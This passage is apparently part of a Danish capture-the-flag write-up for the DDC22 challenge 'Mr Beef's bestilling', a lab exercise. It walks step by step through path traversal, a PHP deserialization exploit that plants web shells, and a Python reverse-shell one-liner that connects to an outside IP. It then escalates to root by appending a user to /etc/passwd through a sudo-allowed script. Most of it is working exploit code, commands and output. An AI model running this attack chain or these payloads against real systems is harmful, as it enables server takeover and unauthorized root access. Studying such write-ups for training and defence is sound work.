_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mrbeef:x:1000:1000::/home/mrbeef:/bin/sh

Og der har vi indholdet af passwd filen.
Dette kunne vi bruge til at skaffe kildekoden for hjemmesiden:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ curl 'http://mrbeefs-bestilling.hkn/file.php?file=../index.php' -S | cut -d "," -f 2 | cut -d ">" -f 1 | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   360  100   360    0     0   9390      0 --:--:-- --:--:-- --:--:--  9473
<?php
   echo("hello <br>");
   echo("You can find his order here:<br>");
   echo("<a href='./file.php?file=mrbeef.png'> delicious link</a><br><br><br>");
   echo("you can also put your own order hehehehehe<br>");
   include("./upload.php");

?>

Great Success!!

Jeg downloadede herefter de andre filer:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ ls -l php_files
total 12
-rw-r--r-- 1 c3lphie c3lphie  166 Apr  9 11:34 file.php
-rw-r--r-- 1 c3lphie c3lphie  246 Apr  9 11:35 index.php
-rw-r--r-- 1 c3lphie c3lphie 1717 Apr  9 11:34 upload.php

Og begyndte at kigge dem igennem for andre angreb jeg kunne lave!
Filen der vagte størst opmærksomhed var upload.php, da den potentielt kunne lade mig uploade en PHP reverse shell.
Der var en klasse kaldet fileuploadedbackup:

Class fileuploadedbackup{
    public $filename;
    public $filecontent;
    public $fileextension;

    function __wakeup(){
	if(isset($this->filename) && isset($this->filecontent)){
	    $myfile = fopen("./images/".$this->filename, "w") or die("Unable to open file!");
	    fwrite($myfile, base64_decode($this->filecontent));
	    fclose($myfile);
	    echo("image restored from backup, good job devloper :'-)");
	}
    }

    function backup(){
	$myfile = fopen("./backupzz/".$this->filename.".bak", "w") or die("Unable to open file!");
	fwrite($myfile, serialize($this));
	fclose($myfile);
    }
}

backup functionen gemmer en serialiseret version af objected i en fil i backupzz/.

Kigger man længere nede kan man se at der er nogle forskellige checks.
Hvis der bliver sendt POST request med en fil der en endelsen .png, så bliver der lavet et backup af filen.
Hvis der bliver sendt en GET request med parameteret frombackup, så restorerer den indholdet ved at deserialisere indholdet.

if(isset($_POST['Submit1']))
{ 


    $image=$_FILES['file'];
    $extension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);





if( $extension=='png')
{
    $backup = new fileuploadedbackup;
    $backup->filename = $image['name'];
    $backup->filecontent = base64_encode(file_get_contents($image['tmp_name'], true));
    $backup->extension = $extension;


move_uploaded_file($image['tmp_name'],"images/".$image['name']);
$backup->backup();
echo("omg its <a href='./file.php?file=".$image['name']."'> HERE!!</a>");

}
else
{
echo "File is not image";
}
}

#restore from backup
if(isset($_GET['frombackup']))
{ 
    $backupfile = "./backupzz/".$_GET['frombackup'];
    $content = file_get_contents($backupfile, true);
    echo($content);
    unserialize($content);
}

Og det er måske fint nok, der bliver jo tjekket om det er en png fil ik?
Jo, men ikke ordentligt.
Hvilket gør at vi kan lave et PHP deserialization angreb, og køre vores egen kode på serveren.
Det var første gang jeg var stødt på sådan en fejl, så havde ikke helt styr på hvordan det helt fungerede…

7.1. Unintended løsning

Så efter at have bikset rundt med det i lidt tid besluttede jeg mig for at se hvad der var i backup folderen.
Og her fandt jeg GULD, eller en unintended løsning…

Det viser sig at challenge authored havde glemt at fjerne hans egen bagdør inden at han blev færdig.
2022-04-14_17-25-15_screenshot.png
Filen evil.png.png.bak er en PHP shell, men pakket ind sådan at at det passer med PHP klassen.

O:18:"fileuploadedbackup":4:{s:8:"filename";s:12:"evil.png.png";s:11:"filecontent";s:724:"TzoxODoiZmlsZXVwbG9hZGVkYmFja3VwIjo0OntzOjg6ImZpbGVuYW1lIjtzOjEyOiJ2ZXJ5Y29vbC5waHAiO3M6MTE6ImZpbGVjb250ZW50IjtzOjQwMDoiUEdoMGJXdytDanhpYjJSNVBnbzhabTl5YlNCdFpYUm9iMlE5SWtkRlZDSWdibUZ0WlQwaVBEOXdhSEFnWldOb2J5QmlZWE5sYm1GdFpTZ2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YU2s3SUQ4K0lqNEtQR2x1Y0hWMElIUjVjR1U5SWxSRldGUWlJRzVoYldVOUltTnRaQ0lnWVhWMGIyWnZZM1Z6SUdsa1BTSmpiV1FpSUhOcGVtVTlJamd3SWo0S1BHbHVjSFYwSUhSNWNHVTlJbE5WUWsxSlZDSWdkbUZzZFdVOUlrVjRaV04xZEdVaVBnbzhMMlp2Y20wK0NqeHdjbVUrQ2p3L2NHaHdDaUFnSUNCcFppaHBjM05sZENna1gwZEZWRnNuWTIxa0oxMHBLUW9nSUNBZ2V3b2dJQ0FnSUNBZ0lITjVjM1JsYlNna1gwZEZWRnNuWTIxa0oxMHBPd29nSUNBZ2ZRby9QZ284TDNCeVpUNEtQQzlpYjJSNVBnbzhMMmgwYld3KyI7czoxMzoiZmlsZWV4dGVuc2lvbiI7TjtzOjk6ImV4dGVuc2lvbiI7czo0OiIucGhwIjt9";s:13:"fileextension";N;s:9:"extension";s:3:"png";}

Hvis vi base64 dekoder filecontent, får vi et nyt serialiseret objekt.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ echo TzoxODoiZmlsZXVwbG9hZGVkYmFja3VwIjo0OntzOjg6ImZpbGVuYW1lIjtzOjEyOiJ2ZXJ5Y29vbC5waHAiO3M6MTE6ImZpbGVjb250ZW50IjtzOjQwMDoiUEdoMGJXdytDanhpYjJSNVBnbzhabTl5YlNCdFpYUm9iMlE5SWtkRlZDSWdibUZ0WlQwaVBEOXdhSEFnWldOb2J5QmlZWE5sYm1GdFpTZ2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YU2s3SUQ4K0lqNEtQR2x1Y0hWMElIUjVjR1U5SWxSRldGUWlJRzVoYldVOUltTnRaQ0lnWVhWMGIyWnZZM1Z6SUdsa1BTSmpiV1FpSUhOcGVtVTlJamd3SWo0S1BHbHVjSFYwSUhSNWNHVTlJbE5WUWsxSlZDSWdkbUZzZFdVOUlrVjRaV04xZEdVaVBnbzhMMlp2Y20wK0NqeHdjbVUrQ2p3L2NHaHdDaUFnSUNCcFppaHBjM05sZENna1gwZEZWRnNuWTIxa0oxMHBLUW9nSUNBZ2V3b2dJQ0FnSUNBZ0lITjVjM1JsYlNna1gwZEZWRnNuWTIxa0oxMHBPd29nSUNBZ2ZRby9QZ284TDNCeVpUNEtQQzlpYjJSNVBnbzhMMmgwYld3KyI7czoxMzoiZmlsZWV4dGVuc2lvbiI7TjtzOjk6ImV4dGVuc2lvbiI7czo0OiIucGhwIjt9 | base64 -d
O:18:"fileuploadedbackup":4:{s:8:"filename";s:12:"verycool.php";s:11:"filecontent";s:400:"PGh0bWw+Cjxib2R5Pgo8Zm9ybSBtZXRob2Q9IkdFVCIgbmFtZT0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+Ij4KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgYXV0b2ZvY3VzIGlkPSJjbWQiIHNpemU9IjgwIj4KPGlucHV0IHR5cGU9IlNVQk1JVCIgdmFsdWU9IkV4ZWN1dGUiPgo8L2Zvcm0+CjxwcmU+Cjw/cGhwCiAgICBpZihpc3NldCgkX0dFVFsnY21kJ10pKQogICAgewogICAgICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwogICAgfQo/Pgo8L3ByZT4KPC9ib2R5Pgo8L2h0bWw+";s:13:"fileextension";N;s:9:"extension";s:4:".php";}%

Og kigger vi igen på hvad den bliver lavet om til får vi en PHP web shell:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ echo "PGh0bWw+Cjxib2R5Pgo8Zm9ybSBtZXRob2Q9IkdFVCIgbmFtZT0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+Ij4KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgYXV0b2ZvY3VzIGlkPSJjbWQiIHNpemU9IjgwIj4KPGlucHV0IHR5cGU9IlNVQk1JVCIgdmFsdWU9IkV4ZWN1dGUiPgo8L2Zvcm0+CjxwcmU+Cjw/cGhwCiAgICBpZihpc3NldCgkX0dFVFsnY21kJ10pKQogICAgewogICAgICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwogICAgfQo/Pgo8L3ByZT4KPC9ib2R5Pgo8L2h0bWw+" | base64 -d
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>%

Så hvis vi prøver at gendanne denne fil fra backup 2 gange, så får vi vores egen shell på maskinen!
Dette kan gøre ved hjælp af 2 curl kommandoer:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ curl "http://mrbeefs-bestilling.hkn/upload.php?frombackup=evil.png.png.bak"
<html>
<head>
<title>PHP File type check example</title>
</head>
<body>

<form action="upload.php" enctype="multipart/form-data" method="post">
Select image hehehe:
<input type="file" name="file"><br/>
<input type="submit" value="Upload" name="Submit1">

</form>

O:18:"fileuploadedbackup":4:{s:8:"filename";s:12:"evil.png.png";s:11:"filecontent";s:724:"TzoxODoiZmlsZXVwbG9hZGVkYmFja3VwIjo0OntzOjg6ImZpbGVuYW1lIjtzOjEyOiJ2ZXJ5Y29vbC5waHAiO3M6MTE6ImZpbGVjb250ZW50IjtzOjQwMDoiUEdoMGJXdytDanhpYjJSNVBnbzhabTl5YlNCdFpYUm9iMlE5SWtkRlZDSWdibUZ0WlQwaVBEOXdhSEFnWldOb2J5QmlZWE5sYm1GdFpTZ2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YU2s3SUQ4K0lqNEtQR2x1Y0hWMElIUjVjR1U5SWxSRldGUWlJRzVoYldVOUltTnRaQ0lnWVhWMGIyWnZZM1Z6SUdsa1BTSmpiV1FpSUhOcGVtVTlJamd3SWo0S1BHbHVjSFYwSUhSNWNHVTlJbE5WUWsxSlZDSWdkbUZzZFdVOUlrVjRaV04xZEdVaVBnbzhMMlp2Y20wK0NqeHdjbVUrQ2p3L2NHaHdDaUFnSUNCcFppaHBjM05sZENna1gwZEZWRnNuWTIxa0oxMHBLUW9nSUNBZ2V3b2dJQ0FnSUNBZ0lITjVjM1JsYlNna1gwZEZWRnNuWTIxa0oxMHBPd29nSUNBZ2ZRby9QZ284TDNCeVpUNEtQQzlpYjJSNVBnbzhMMmgwYld3KyI7czoxMzoiZmlsZWV4dGVuc2lvbiI7TjtzOjk6ImV4dGVuc2lvbiI7czo0OiIucGhwIjt9";s:13:"fileextension";N;s:9:"extension";s:3:"png";}image restored from backup, good job devloper :'-)%

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ curl "http://mrbeefs-bestilling.hkn/upload.php?frombackup=../images/evil.png.png"
<html>
<head>
<title>PHP File type check example</title>
</head>
<body>

<form action="upload.php" enctype="multipart/form-data" method="post">
Select image hehehe:
<input type="file" name="file"><br/>
<input type="submit" value="Upload" name="Submit1">

</form>

O:18:"fileuploadedbackup":4:{s:8:"filename";s:12:"verycool.php";s:11:"filecontent";s:400:"PGh0bWw+Cjxib2R5Pgo8Zm9ybSBtZXRob2Q9IkdFVCIgbmFtZT0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+Ij4KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgYXV0b2ZvY3VzIGlkPSJjbWQiIHNpemU9IjgwIj4KPGlucHV0IHR5cGU9IlNVQk1JVCIgdmFsdWU9IkV4ZWN1dGUiPgo8L2Zvcm0+CjxwcmU+Cjw/cGhwCiAgICBpZihpc3NldCgkX0dFVFsnY21kJ10pKQogICAgewogICAgICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwogICAgfQo/Pgo8L3ByZT4KPC9ib2R5Pgo8L2h0bWw+";s:13:"fileextension";N;s:9:"extension";s:4:".php";}image restored from backup, good job devloper :'-)%

Vi kan bekræfte t det virkede ved at se indholdet af images/ mappen:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ curl "http://mrbeefs-bestilling.hkn/images/" -s | grep -E "(png|php)" | cut -d '"' -f 8
evil.png.png
mrbeef.png
serial.png
verycool.php

Herefter ville vi så kunne bruge verycool.php til at få adgang til systemet.
Men har efter konkurrencen, fået det tiltænkte angreb til at virke!

7.2. Serialize from scratch

For at kunne angribe maskinen ved hjælp af PHP deserialization har jeg lavet følgende PHP script:

<?php
class fileuploadedbackup{
    public $filename;
    public $filecontent;
    public $fileextension;

    function __wakeup(){
    }

    function backup(){
    }
}

$exploit = new fileuploadedbackup();

$exploit->filename = 'shell.php';
$exploit->extension = 'php';
$exploit->filecontent = base64_encode('<?php
$out = null;
$ret = null;
exec($_GET[\'cmd\'], $out, $ret);
echo "Status code: $ret\nOut:\n";
print_r($out)
?>
');

echo serialize($exploit);
?>

Vi skal serialiserer et objekt så det er identisk med ethvert andet objekt, der ville blive deserialiseret af serveren.
Så jeg kopierede klassen over, og i mit script og smed indholdet af de funktioner ud.
Efter at lave et objekt, og sætte filindholdet til at være en PHP webshell er jeg pretty much good to go!

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ php exploit_class.php > serial.png

Nu skal vi bare uploade serial.png, og prøve at lave backup fra den fil!

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ curl "http://mrbeefs-bestilling.hkn/upload.php?frombackup=../images/serial.png"
<html>
<head>
<title>PHP File type check example</title>
</head>
<body>

<form action="upload.php" enctype="multipart/form-data" method="post">
Select image hehehe:
<input type="file" name="file"><br/>
<input type="submit" value="Upload" name="Submit1">

</form>

O:18:"fileuploadedbackup":4:{s:8:"filename";s:9:"shell.php";s:11:"filecontent";s:156:"PD9waHAKJG91dCA9IG51bGw7CiRyZXQgPSBudWxsOwpleGVjKCRfR0VUWydjbWQnXSwgJG91dCwgJHJldCk7CmVjaG8gIlN0YXR1cyBjb2RlOiAkcmV0XG5PdXQ6XG4iOwpwcmludF9yKCRvdXQpCj8+Cg==";s:13:"fileextension";N;s:9:"extension";s:3:"php";}image restored from backup, good job devloper :'-)%

Og så har vi en web shell ved /images/shell.php

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ curl "http://mrbeefs-bestilling.hkn/images/shell.php?cmd=whoami"
Status code: 0
Out:
Array
(
    [0] => www-data
)

Nu kan vi lave en reverse shell og få en stabil forbindelse med vores mål!

Efter at snuse lidt omkring, fandt jeg ud af at der var python3 på serveren.
Så jeg brugte denne python3 reverse shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("25.153.240.226",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gennem browseren da curl ikke lige funkede…
I baggrunden havde jeg en netcat server kørende på port 1337, hvor der efterfølgende kom forbindelse igennem.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals ]
└─> $ nc -lnvp 1337
Connection from 25.153.240.1:51454
/bin/sh: 0: can't access tty; job control turned off
$

Med en mere solid shell, kan vi kigge lidt omkring på fil systemet!
I mrbeef's hjemme folder, kan vi finde et password!

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@1fe46c6cc223:/home/mrbeef$ ls -la
ls -la
total 32
drwxr-xr-x 1 mrbeef mrbeef 4096 Mar 24 10:23 .
drwxr-xr-x 1 root   root   4096 Mar 24 10:23 ..
-rw-r--r-- 1 mrbeef mrbeef 1262 Mar 24 10:22 .bash_history
-rw-r--r-- 1 mrbeef mrbeef  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 mrbeef mrbeef 3771 Apr  4  2018 .bashrc
-rw-r--r-- 1 mrbeef mrbeef  807 Apr  4  2018 .profile
-rw-rw-rw- 1 mrbeef mrbeef  925 Mar 24 10:22 beef.txt
-rw-r--r-- 1 root   root    181 Mar 24 10:22 kobebeef.py
www-data@1fe46c6cc223:/home/mrbeef$ cat .bash_history
cat .bash_history
ls
cd /home
ls
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /root/beef.txt
cd mrbeef
ls
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /root/lovebeef.txt
ls -la
history
ls
ls -la
history
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /var/www/html/beef.txt
ls -la
exit
find / -name beef
hvorfuckerbeef.exe
sudo -l
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /usr/bin/beef.txt
find / -name kobebeef
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
sud o/usr/bin/python3 /home/mrbeef/kobebeef.py /tmp/beef.txt
givmigbeef1337
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /rootybeefhahaha.txt
find / -name kobebeef
ls -la
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txt
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txtt
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txttt
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txtttt
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txttttt
cd /tmp
ls -la
cd /home
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /eeeeeeeeeeehehehhehehhehehhehhe.txt
ls -la
find / -name kobebeef
selfdestruct
ej det bare gas
find / -name kobebeef
sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /oknudetnokbeef.txt
exit

www-data@1fe46c6cc223:/home/mrbeef$

Efter et fejl forsøg på at bruge sudo kommer han til at leake sin kode: givmigbeef1337!

www-data@1fe46c6cc223:/home/mrbeef$ su mrbeef
su mrbeef
Password: givmigbeef1337

$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
mrbeef@1fe46c6cc223:~$

En anden ting af interesse i bash historien er kobebeef.py scriptet.
Hvis vi studere indholdet kan vi se at der læses fra filen beef.txt, og bliver skrevet i den fil vi angiver som argument:

mrbeef@1fe46c6cc223:~$ cat kobebeef.py
cat kobebeef.py
import sys
tobeef = sys.argv[1]
thebeef = ""

with open("/home/mrbeef/beef.txt","r") as inp:
    thebeef = inp.read()

with open(tobeef,"w") as outp:
    outp.write(thebeef)mrbeef@1fe46c6cc223:~$

Dette kan bruges til at elavere vores rolle på serveren!
For at forstå hvordan, er det vigtigt at kigge på hvem der har adgang til filerne!

mrbeef@1fe46c6cc223:~$ ls -l
ls -l
total 8
-rw-rw-rw- 1 mrbeef mrbeef 925 Mar 24 10:22 beef.txt
-rw-r--r-- 1 root   root   181 Mar 24 10:22 kobebeef.py
mrbeef@1fe46c6cc223:~$

Se, vi kan både læse og skrive til beef.txt, men kun læse kobebeef.py.
Og scriptet er det eneste vi kan køre med sudo:

mrbeef@1fe46c6cc223:~$ sudo -l
sudo -l
[sudo] password for mrbeef: givmigbeef1337

Matching Defaults entries for mrbeef on 1fe46c6cc223:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrbeef may run the following commands on 1fe46c6cc223:
    (ALL : ALL) /usr/bin/python3 /home/mrbeef/kobebeef.py *
mrbeef@1fe46c6cc223:~$

Vi kan ved at ændre i /etc/passwd tilføje en ny root bruger og dermed få root på systemet.
Dette er muligt da vi kan kopiere passwd filen ind i beef.txt:

mrbeef@1fe46c6cc223:~$ cp /etc/passwd beef.txt
cp /etc/passwd beef.txt
mrbeef@1fe46c6cc223:~$ cat beef.txt
cat beef.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mrbeef:x:1000:1000::/home/mrbeef:/bin/sh

Nu kan vi tilføje vores egen bruger, først laver vi et password med openssl, dette indsættes i vores egen række i beef.txt sådan det passer med de andre linjer:

mrbeef@1fe46c6cc223:~$ openssl passwd -1 -salt hacker hacker
openssl passwd -1 -salt hacker hacker
$1$hacker$TzyKlv0/R/c28R.GAeLw.1
mrbeef@1fe46c6cc223:~$ echo -n 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:/root:/bin/bash' >> beef.txt
<lv0/R/c28R.GAeLw.1:0:0:/root:/bin/bash' >> beef.txt

Nu skal vi bare køre kobebeef.py med sudo og /etc/passwd som argument.
Herefter kan vi skifte til hacker brugeren.

mrbeef@1fe46c6cc223:~$ sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /etc/passwd
<sr/bin/python3 /home/mrbeef/kobebeef.py /etc/passwd
mrbeef@1fe46c6cc223:~$ su hacker
su hacker
Password: hacker

# whoami
whoami
root
#

Nu skal vi blot navigere hen til root folder og finde flaget:

# cd /root
cd /root
# ls
ls
beef.txt  flag.txt  lovebeef.txt
# cat flag.txt
cat flag.txt
DDC{mrbeef_sk4l_b4re_h4ve_d3t_h3l3_du}
#

Og der har vi flaget for mrbeef's bestilling: DDC{mrbeef_sk4l_b4re_h4ve_d3t_h3l3_du}

8. Final words

Thank you for taking some time out of your day to read this post.
If you enjoyed this post, feel free to join my Discord server to get notification whenever I post something and ask questions if there are any.